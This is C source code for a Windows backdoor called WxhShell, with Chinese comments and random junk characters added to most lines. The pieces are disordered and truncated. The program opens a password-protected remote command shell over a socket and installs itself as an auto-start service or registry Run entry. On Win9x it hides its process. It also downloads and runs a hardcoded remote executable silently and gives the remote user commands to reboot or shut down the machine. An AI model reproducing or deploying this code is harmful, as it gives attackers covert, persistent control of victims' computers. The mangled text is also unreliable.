    break; -e3m!h  
    } >}\!'3)_  
  // 关机 5Y"JRWC  
  case 'd': { hp/}Z"A=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ANvXPp  
    if(Boot(SHUTDOWN)) & ;ie+/B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*SX.A>YR  
    else { ,ic.b @u1  
    closesocket(wsh); )wQR2$x~  
    ExitThread(0); s_y Y,Z:  
    } }Gqx2 )H  
    break; }b ~;x6  
    } \/p\QT@mm  
  // 获取shell Ji\8(7 {8  
  case 's': { \h~;n)FI  
    CmdShell(wsh); Ratg!l|'-  
    closesocket(wsh); 8j. 9Sk/  
    ExitThread(0); 8sOM%y9M  
    break; ?_3K]i1IS  
  } 40<ifz[7  
  // 退出 `r & IA  
  case 'x': { />S=Y"a/7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P ^R224R  
    CloseIt(wsh); we9R4 *j  
    break; #qi@I;;t  
    } m2AA:u_*j  
  // 离开 8p  }E  
  case 'q': { (y7U}Sb'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B9`nV.a  
    closesocket(wsh); Ev|2bk \  
    WSACleanup(); mWZoo/xtT  
    exit(1); Fyrr,#  
    break; V lN&Lz  
        } RcitW;{|Kg  
  } ;]3Tuq  
  } KGS=(z  
/m%i"kki  
  // 提示信息 kep.+t[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <\|f;7/  
} Z#IRNFj  
  } 8 C@iD%  
^|5bK_Z&  
  return; Y-hGHnh]'  
} a02@CsH  
ZC'(^liAp  
// shell模块句柄 BaIH7JLZ8  
int CmdShell(SOCKET sock) sNZ{OD+  
{ +]*4!4MK6  
STARTUPINFO si; WUkx v*  
ZeroMemory(&si,sizeof(si)); 5K|1Y#X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q7zg i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c~[L ;_  
PROCESS_INFORMATION ProcessInfo; ZP61T*n  
char cmdline[]="cmd"; ':lADUt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gt{~u^<  
  return 0; !>W _3Ea  
} w+(bkqz]  
i{?uIb B  
// 自身启动模式 g|tnYN  
int StartFromService(void) n KC$ KC  
{ >_XRh  
typedef struct YIGQDj@  
{ Rb\M63q  
  DWORD ExitStatus; h1} x2  
  DWORD PebBaseAddress; 2JwR?<n{  
  DWORD AffinityMask; wyeiz7  
  DWORD BasePriority; ;  6Js   
  ULONG UniqueProcessId; {.v-  
  ULONG InheritedFromUniqueProcessId; f5<qF ]Y/  
}   PROCESS_BASIC_INFORMATION; USy^Y?~ ;  
]f=108|8  
PROCNTQSIP NtQueryInformationProcess; P#-Ye<V~J(  
A6YkoYgC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q|0Lu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2uu"0Rm%  
Z%Q[W}iD  
  HANDLE             hProcess; NitWIj[U;  
  PROCESS_BASIC_INFORMATION pbi; :KGUO{_u  
T|`nw_0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uA dgR  
  if(NULL == hInst ) return 0; 7'\<\oT  
g+|1khS)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f l*]ua  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7'uuc]\5>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gf7%vyMo$  
RI9&KS  
  if (!NtQueryInformationProcess) return 0; ;2 y3i5^k  
7KXc9:p+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >xb}AY;  
  if(!hProcess) return 0; m?VA 1  
GY%lPp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z_Ffiw(p  
cL}} ^  
  CloseHandle(hProcess); $x#0m  
*J,VvO 9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T!u&r  
if(hProcess==NULL) return 0; 4Ynv=G Qz  
u+"3l@Y#  
HMODULE hMod; J24<X9b  
char procName[255]; aE BQx  
unsigned long cbNeeded; -}Vnr\f  
1Ys6CJ#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ucr$5^ME  
|Y?1rLC  
  CloseHandle(hProcess); qT}<D`\  
tJ`tXO  
if(strstr(procName,"services")) return 1; // 以服务启动 w6(E$:#d  
C)66 ^l!x  
  return 0; // 注册表启动 PLlad\  
} Y3^UJe7E  
p(o"K@I  
// 主模块 #InuN8sI  
int StartWxhshell(LPSTR lpCmdLine) 2>3#/I9Y  
{ }xXUCU<  
  SOCKET wsl; |#G.2hMFr  
BOOL val=TRUE; ]/&qv6D*d  
  int port=0; 5'>DvCp%M  
  struct sockaddr_in door; ,xmmS\  
DtLga[M  
  if(wscfg.ws_autoins) Install(); VJquB8?H  
%" kF i  
port=atoi(lpCmdLine); w@,Yj#_9cx  
uL| Wuq  
if(port<=0) port=wscfg.ws_port; o6L\39v_  
hq[;QF:B  
  WSADATA data; Bc{j0Su  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sI>I  
&f48MtE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KCEBJ{jM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s?r:McF`  
  door.sin_family = AF_INET; 6Q\0v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gD`|N@W$5  
  door.sin_port = htons(port); 8[@aX;I  
t+7|/GLs2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .=@xTJh  
closesocket(wsl); IqEE.XhaK  
return 1; !C ]5_  
} x -CTMKX  
fL-lx-~  
  if(listen(wsl,2) == INVALID_SOCKET) { pK/r{/>r  
closesocket(wsl); oihn`DY {  
return 1; iF0x>pvJ@  
} X+6`]]  
  Wxhshell(wsl); gt]k#(S  
  WSACleanup(); ZbBz@1O  
cP8g. +  
return 0; SLI(;, s  
/Mq9~oC  
} }.`no  
s}3g+T\l1w  
// 以NT服务方式启动 o_=t9\:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /qf(5Bm  
{ |AD" }8  
DWORD   status = 0; B<^yT@Wc  
  DWORD   specificError = 0xfffffff; ITpo:"X g  
)T2V< 3l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w4I&SLm-b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \.!+'2!m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e3T&KyPm?+  
  serviceStatus.dwWin32ExitCode     = 0; 5D9n>K4|  
  serviceStatus.dwServiceSpecificExitCode = 0; ?xkw~3Yfi  
  serviceStatus.dwCheckPoint       = 0; `4GEq2%  
  serviceStatus.dwWaitHint       = 0; ^LAP*R  
NJ%>|`FEi7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o;w 5;TkY  
  if (hServiceStatusHandle==0) return; !Q/oj Q  
MK1V1F`  
status = GetLastError(); )I&,kH)+  
  if (status!=NO_ERROR) YCMXF#1  
{ @q(sig00nr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4\?z^^  
    serviceStatus.dwCheckPoint       = 0;  DT2uUf  
    serviceStatus.dwWaitHint       = 0; (3. B\8s  
    serviceStatus.dwWin32ExitCode     = status; }.ZT?p\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8/i];/,v*M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &oJ1v<`  
    return; 5f#N$mh  
  } ]{.iv_I  
@la/sd4`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8rV"? m`S  
  serviceStatus.dwCheckPoint       = 0; zeqwmV=  
  serviceStatus.dwWaitHint       = 0; EU5^"\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V= wWY*C  
} HGiO}|q :  
A-6><X's6  
// 处理NT服务事件,比如:启动、停止 ./7*<W:  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  m[>pv1o  
{ S1vUP5cZ  
switch(fdwControl) -e2f8PV?3  
{ Yo-$Z-ud  
case SERVICE_CONTROL_STOP: Qq7%{`< }  
  serviceStatus.dwWin32ExitCode = 0; ]?un'$%e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >IT19(J;A  
  serviceStatus.dwCheckPoint   = 0; tZL|;K  
  serviceStatus.dwWaitHint     = 0; s@$SM,tnn  
  { 6x*$/1'M3;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 59R%g .2Y  
  } ;:WM^S  
  return; uge~*S  
case SERVICE_CONTROL_PAUSE: yhPO$L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xGkc_  
  break; 6d;_}  
case SERVICE_CONTROL_CONTINUE: 4{v?<x8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #qnK nxD  
  break; O-3R#sZ0  
case SERVICE_CONTROL_INTERROGATE: )i^+=TZq  
  break; Jc=~BT_G  
}; vB?(|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v?@=WG  
} t 3l-]  
 8MZ:=  
// 标准应用程序主函数 lWyg_YO@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n1Z*wMwC  
{ ,5XDH6L1  
W Te1E,M  
// 获取操作系统版本 lj US-6  
OsIsNt=GetOsVer(); \D5_g8m:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F?c : ).g  
xoB "hNIX  
  // 从命令行安装 w3>.d(Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); /EvnwYQy  
IW>\\&pJ  
  // 下载执行文件 8ioxb`U  
if(wscfg.ws_downexe) { Hw\hTTK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (>,}C/-UG  
  WinExec(wscfg.ws_filenam,SW_HIDE); O<\h_   
} M>rertUR  
K&IHt?vh!  
if(!OsIsNt) { D/`b ~Yl  
// 如果时win9x,隐藏进程并且设置为注册表启动 na`8ulN_  
HideProc(); y,F|L?dIq  
StartWxhshell(lpCmdLine); #I-qL/Lm  
} _|C T|q  
else ":vF[6K6  
  if(StartFromService()) 3bK=Q3N  
  // 以服务方式启动 8h{;*Wr-  
  StartServiceCtrlDispatcher(DispatchTable); 1\LK[tvh  
else @tfatq+q  
  // 普通方式启动 i}_d&.DbF  
  StartWxhshell(lpCmdLine); Y{`hRz`  
$.Qu55=z<  
return 0; `]$H\gNI[8  
} WW3! ,ln_  
sOBuJx${m  
 q +*>T=k  
 KrqO7  
=========================================== #+SdX[ N  
5X}OUn8  
omZ bn  
IWNIk9T,u  
]%<0V,G q  
dx)v`.%V  
" 3F\UEpQ  
#(dERET*  
#include <stdio.h> &?0hj@kd~  
#include <string.h> 'U{6LSaCb  
#include <windows.h> `\Hs{t]  
#include <winsock2.h> x-Fl|kwX.5  
#include <winsvc.h> an` GY&  
#include <urlmon.h> |7:{vA5  
- * _"ZgE  
#pragma comment (lib, "Ws2_32.lib") /e50&]2w  
#pragma comment (lib, "urlmon.lib") Jo9!:2?  
nTH!_S>b(Y  
#define MAX_USER   100 // 最大客户端连接数 eSA%:Is.  
#define BUF_SOCK   200 // sock buffer -) \!@n0  
#define KEY_BUFF   255 // 输入 buffer  |7wiwdD"  
^#,cWG}z  
#define REBOOT     0   // 重启 (IIOVv 1J  
#define SHUTDOWN   1   // 关机 =:pN82.G  
d A' h7D  
#define DEF_PORT   5000 // 监听端口 L}.V`v{zc  
:taRCh5  
#define REG_LEN     16   // 注册表键长度 [.*o< KP  
#define SVC_LEN     80   // NT服务名长度 P(XNtQ=K  
fH[:S9@  
// 从dll定义API !|;w(/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M$AQZ')9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ko<VB#pOMr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d){Al(/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '$5o5\  
GcA!I!j/  
// wxhshell配置信息 ^bckl tSo  
struct WSCFG { ]J6+nA6)  
  int ws_port;         // 监听端口 bmu<V1[W  
  char ws_passstr[REG_LEN]; // 口令 ,';+A{aV  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5jBBk*/\  
  char ws_regname[REG_LEN]; // 注册表键名 _=oNQ  
  char ws_svcname[REG_LEN]; // 服务名 \`:LPe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ICI8xP}a?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 * S>,5R0k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fP 5!`8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?.&?4*u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tmf= 1M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 > [|SF%  
ky5gU[  
}; | QI-gw  
vy+9Q5@W  
// default Wxhshell configuration j])nkm7_  
struct WSCFG wscfg={DEF_PORT, iWNTI  
    "xuhuanlingzhe", )QiHe}  
    1, R WU,v{I9  
    "Wxhshell", qnZ`]?  
    "Wxhshell", ALY% h!L  
            "WxhShell Service", vXi}B  
    "Wrsky Windows CmdShell Service", ds9`AiCW>  
    "Please Input Your Password: ", 3` aJ"qQE  
  1, ,*$/2nB^  
  "http://www.wrsky.com/wxhshell.exe", \ml6B6  
  "Wxhshell.exe" DLrG-C33  
    }; 6lc/_&0  
&Jw4^ob  
// 消息定义模块 lt&30nf=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I NE,/a=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,.+"10=N.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D3emO'`gQ  
char *msg_ws_ext="\n\rExit."; vDAv/l9  
char *msg_ws_end="\n\rQuit."; pY9>z;qD  
char *msg_ws_boot="\n\rReboot..."; o ) FjWf;  
char *msg_ws_poff="\n\rShutdown..."; FE/2.!]&o  
char *msg_ws_down="\n\rSave to "; 8Bnw//_pT  
^D0BGC&&  
char *msg_ws_err="\n\rErr!"; "@[xo7T  
char *msg_ws_ok="\n\rOK!"; V-(LHv  
8@a|~\3-  
char ExeFile[MAX_PATH]; ljrA^P ,>P  
int nUser = 0; ?ixzlDto\  
HANDLE handles[MAX_USER]; #2!M+S  
int OsIsNt; $PQlaivA  
*X^__PS]  
SERVICE_STATUS       serviceStatus; x6x6N&f?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s!E-+Gw  
=9;jVaEMJL  
// 函数声明 9h6xli  
int Install(void); IK6XJsz$J  
int Uninstall(void); +C)auzY7N  
int DownloadFile(char *sURL, SOCKET wsh); =`X ;fz  
int Boot(int flag); )LYj,do  
void HideProc(void); ab 1\nzpd  
int GetOsVer(void); &xqe8!FeA  
int Wxhshell(SOCKET wsl); : |c,.uO  
void TalkWithClient(void *cs); :l>T~&/98  
int CmdShell(SOCKET sock); cF[[_  
int StartFromService(void); B|O/h! H.  
int StartWxhshell(LPSTR lpCmdLine); q t}[M|Q^r  
yf=ek= =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9e Dji,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >P=xzg79  
TJB0O]@3  
// 数据结构和表定义 'Sc3~lm(dH  
SERVICE_TABLE_ENTRY DispatchTable[] = GSW{h[Op  
{ '}5}wCLA  
{wscfg.ws_svcname, NTServiceMain}, ~^"cq S(  
{NULL, NULL} w I@ lO\  
}; AMYoSc  
A_%}kt (6  
// 自我安装 gHlahg  
int Install(void) NG_O I*|~  
{ <v('HLA  
  char svExeFile[MAX_PATH]; r`cCHZo/V  
  HKEY key; b@f. Kd7I  
  strcpy(svExeFile,ExeFile); {-S0m=  
Z<r&- !z  
// 如果是win9x系统,修改注册表设为自启动 |"P5%k#6^>  
if(!OsIsNt) { P N_QK Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y#6@0Nn[G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _V{WXsOx(  
  RegCloseKey(key); =dX*:An  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zoOm[X=?3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?XGZp?6  
  RegCloseKey(key); %p2C5z?  
  return 0;  aG\m 3r  
    } 0{PK]qp7  
  } d<6L&8)<  
} h3 p 3~xq  
else { "eQ96^'J  
!*|CIxk(  
// 如果是NT以上系统,安装为系统服务 y::;e#.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ORx,n7-  
if (schSCManager!=0) igz:ek`  
{ Sjr(e}*  
  SC_HANDLE schService = CreateService `bT{E.(T  
  ( HXdPKS4q  
  schSCManager, J&a887  
  wscfg.ws_svcname, XpH[SRUx  
  wscfg.ws_svcdisp, de1&  
  SERVICE_ALL_ACCESS, i}<R >]S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SsznV}{^  
  SERVICE_AUTO_START, mk4%]t"  
  SERVICE_ERROR_NORMAL, jd2Fh):q  
  svExeFile, o-O/MS   
  NULL, XtfL{Fy|T  
  NULL, u'K<-U8H  
  NULL, >/bl r}5 H  
  NULL, lGLZIp  
  NULL RFK N,oB  
  ); \\)-[4uC  
  if (schService!=0) /2HwK/RZ  
  { %k$C   
  CloseServiceHandle(schService); dIO\ lL   
  CloseServiceHandle(schSCManager); RV(}\JU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Kq>r|;  
  strcat(svExeFile,wscfg.ws_svcname); h'-TZXs0e1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2|%30i,vV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;*Z w}51  
  RegCloseKey(key); ?>o39|M_w  
  return 0; LOida#R  
    } "W+4`A(/l  
  } \R-u+ci$ZY  
  CloseServiceHandle(schSCManager); NM8 F  
} ',!#?aGV  
} 2qr%xK'^B  
N'`*#UI+  
return 1; n1ED _9  
} QHs]~Ja  
5h> gz  
// 自我卸载 %?wuKZLnc  
int Uninstall(void) N{ 9<Tf*  
{ 6U /wFT!7$  
  HKEY key; a|7V{pp=M  
+u=xBhZ  
if(!OsIsNt) { ;C"J5RA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sG VC+!E  
  RegDeleteValue(key,wscfg.ws_regname); MJg^ QVM  
  RegCloseKey(key); E>g'!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zWY6D4   
  RegDeleteValue(key,wscfg.ws_regname); @W @L%<  
  RegCloseKey(key); g{J3Ba  
  return 0; 9M7P]$^  
  } ev?>Nq+Z  
} d;;=s=j  
} )nJ>kbO~8  
else { @P.l8|w  
vGAPQg6*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?APzx@$D.  
if (schSCManager!=0) &1[5b8H;+  
{ Xl aNR+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]52_p[hZ}<  
  if (schService!=0) B\=&v8  
  { cKfYkJ)A'  
  if(DeleteService(schService)!=0) { m|7g{vHVV  
  CloseServiceHandle(schService); NFSPw` f  
  CloseServiceHandle(schSCManager); AjlG_F  
  return 0; V+Tj[:ok  
  } A!f0AEA,  
  CloseServiceHandle(schService); R #ZDB]2  
  } Yj"UD:p  
  CloseServiceHandle(schSCManager); X! ]~]%K$y  
} #YNb&K n  
} -Qgfo|po  
hW},%  
return 1; 7Ow7|  
} =0:hrg+Zgx  
~xJD3Qf  
// 从指定url下载文件 |-|BM'Y  
int DownloadFile(char *sURL, SOCKET wsh) A |&EI-In  
{ VC+\RB#:-  
  HRESULT hr; ;|^fAc~9{r  
char seps[]= "/"; *@ o3{0[Z  
char *token; @1 +/r?b  
char *file; WIGb7}egR  
char myURL[MAX_PATH]; ?SAi t Q3  
char myFILE[MAX_PATH]; <7&b|f$CL  
k@Tt,.];  
strcpy(myURL,sURL); cnc$^[c  
  token=strtok(myURL,seps); H{XW?O^@  
  while(token!=NULL) <h}?0NA4  
  { 5[R}MhLZ  
    file=token; TB[vpTC9)  
  token=strtok(NULL,seps); E7<:>Uh  
  } `Q8 D[  
Z kS* CG   
GetCurrentDirectory(MAX_PATH,myFILE); Kq?7#,_  
strcat(myFILE, "\\"); hnZHu\EJ  
strcat(myFILE, file); D[r  
  send(wsh,myFILE,strlen(myFILE),0); J91`wA&r  
send(wsh,"...",3,0); O>Sbb2q?"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QCo^#-   
  if(hr==S_OK) gvJJ.IX]+  
return 0; 6:!fyia  
else ZJpI]^9|  
return 1; qa~[fORO[  
!eq]V9  
} ^ UzF nW@a  
8tL61x{]  
// 系统电源模块 L8G4K)  
int Boot(int flag)  4{?x(~  
{ tWiV0PTI  
  HANDLE hToken; <(MFEIt  
  TOKEN_PRIVILEGES tkp; &zp5do;m  
3u^TJt)  
  if(OsIsNt) { (wfg84  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p\WUk@4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7S`H?},sR  
    tkp.PrivilegeCount = 1; qcot T\rq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hmH$_YP}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qWFg~s#+  
if(flag==REBOOT) { cTnbI4S;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y'5ck(  
  return 0; LZVO9e]  
} x\DkS,O  
else { ' 7A7HDJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _#O?g=1  
  return 0; FCWphpz  
} =<05PB  
  } _:L*{=N  
  else { K)?^b|D  
if(flag==REBOOT) { ~c^-DAgB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %awS*  
  return 0; "v1(f|a  
} ]G B},  
else { A E711l-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "!tB";n  
  return 0; Mb>XM7}PU  
} +7^Ul6BB#K  
} .{ -yveE  
 M9K).P=  
return 1; ~30Wb9eL  
} WFd2_oAT  
iV&#5I  
// win9x进程隐藏模块 /v{[Z&z  
void HideProc(void) *eP4dGe&  
{ eFQi K6`i  
4L e5Ms/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z|c9%.,  
  if ( hKernel != NULL ) Lvq]SzOw  
  { FQFENq''B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ej;ta Kzj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pJz8e&wyLM  
    FreeLibrary(hKernel); {yHfE,  
  } L\ %_<2  
xgz87d/<:  
return; |^Es6 .~  
} 2M?lgh4"  
9pcf jx..  
// 获取操作系统版本 d_+8=nh3  
int GetOsVer(void) C]fTV{  
{ )^N8L<   
  OSVERSIONINFO winfo; VK;x6*Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0UJ`<Bfd  
  GetVersionEx(&winfo); [,^dM:E/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (w eokP!  
  return 1; F9\Ot^~  
  else GZEonCk[&  
  return 0; (J&Xo.<Z-  
} >@U<?wP  
<o+ 7U  
// 客户端句柄模块 0JNOFX  
int Wxhshell(SOCKET wsl) )VMBo6:+  
{ lM,zTNu-z  
  SOCKET wsh; #sU~fq  
  struct sockaddr_in client; _oTT3[7P  
  DWORD myID; x\.i `ukx  
>k}/$R+  
  while(nUser<MAX_USER) Y:%)cUxA  
{ aT#{t {gkA  
  int nSize=sizeof(client); hPz df*(8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {*;]I?9Al  
  if(wsh==INVALID_SOCKET) return 1; C..2y4bA}  
OLNn3 J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "t:.mA<v  
if(handles[nUser]==0) fVUBCu  
  closesocket(wsh); RYl3txw  
else _[i=TqVmf  
  nUser++; !rg0U<bO!  
  } q7&yb.<KD.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I#t9aR+&  
H ?j-=Zka  
  return 0; 9>3Ltnn0  
} sBtG}Mo)  
~'J =!Xy  
// 关闭 socket LGROEn<*d  
void CloseIt(SOCKET wsh) P0ltN  
{ )O@^H   
closesocket(wsh); !X%!7wsc  
nUser--; Gv,92ny!|  
ExitThread(0); i @9 Qb  
} I"sobZ`  
W}k?gg=  
// 客户端请求句柄 P}9Y8$Y>U  
void TalkWithClient(void *cs) &JhIn%=-  
{ -ouJf}#R  
kg I=0W>  
  SOCKET wsh=(SOCKET)cs; @ P"`=BU&  
  char pwd[SVC_LEN]; o+-Ge J  
  char cmd[KEY_BUFF]; >|/ ? Up  
char chr[1]; on;sq8;  
int i,j; fsJTwSI["  
'Z2N{65  
  while (nUser < MAX_USER) { b?] S&)"9  
`s83r hs`!  
if(wscfg.ws_passstr) { l8xd73D)8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +< \cd9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @@/'b '  
  //ZeroMemory(pwd,KEY_BUFF); J )8pqa   
      i=0; Ag#5.,B-  
  while(i<SVC_LEN) { KPjqw{gR_R  
N(-%"#M$  
  // 设置超时 'RV\}gqZ  
  fd_set FdRead; qa$[L@h>  
  struct timeval TimeOut; nUud?F^_  
  FD_ZERO(&FdRead); m0A@jWgd  
  FD_SET(wsh,&FdRead); B#GZmv1  
  TimeOut.tv_sec=8; !qXq y}?w  
  TimeOut.tv_usec=0; GQ-e$D@SfB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0|s$vqc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j+13H+dN  
c+b:K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DAMpR3  
  pwd=chr[0]; hw ;dm  
  if(chr[0]==0xd || chr[0]==0xa) { *T>#zR{  
  pwd=0; ;8L+_YCa  
  break; ADyNNMcx  
  } Tt<-<oyU.  
  i++;  _WDBG  
    } 0J:U\S  
<[3lV)~t  
  // 如果是非法用户,关闭 socket UQ$\ an'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )1Ma~8Y%r  
} TFJ{fLG  
oj^5G ]_ <  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KSgQ:_u4}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W -C0 YU1  
[2QY  
while(1) { N}+B:l]Qy  
K*Nb_|~  
  ZeroMemory(cmd,KEY_BUFF); `z$uw  
v;bM.OL  
      // 自动支持客户端 telnet标准   -Ty<9(~S  
  j=0; qN1e{T8u  
  while(j<KEY_BUFF) { \9>g;qPg}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #>E3'5b   
  cmd[j]=chr[0]; J"D&q  
  if(chr[0]==0xa || chr[0]==0xd) { nXM9Px!  
  cmd[j]=0; lNh=>D Pu  
  break; ]*g ss'N  
  } (iCZz{l@~  
  j++; Nn,vdu{^2  
    } SA`J.4yn  
'#McY'.D T  
  // 下载文件 VRd:2uDS  
  if(strstr(cmd,"http://")) { SrQ4y`?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %qNj{<&  
  if(DownloadFile(cmd,wsh)) L_ Xn,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $LxG>db  
  else GFQG(7G9  
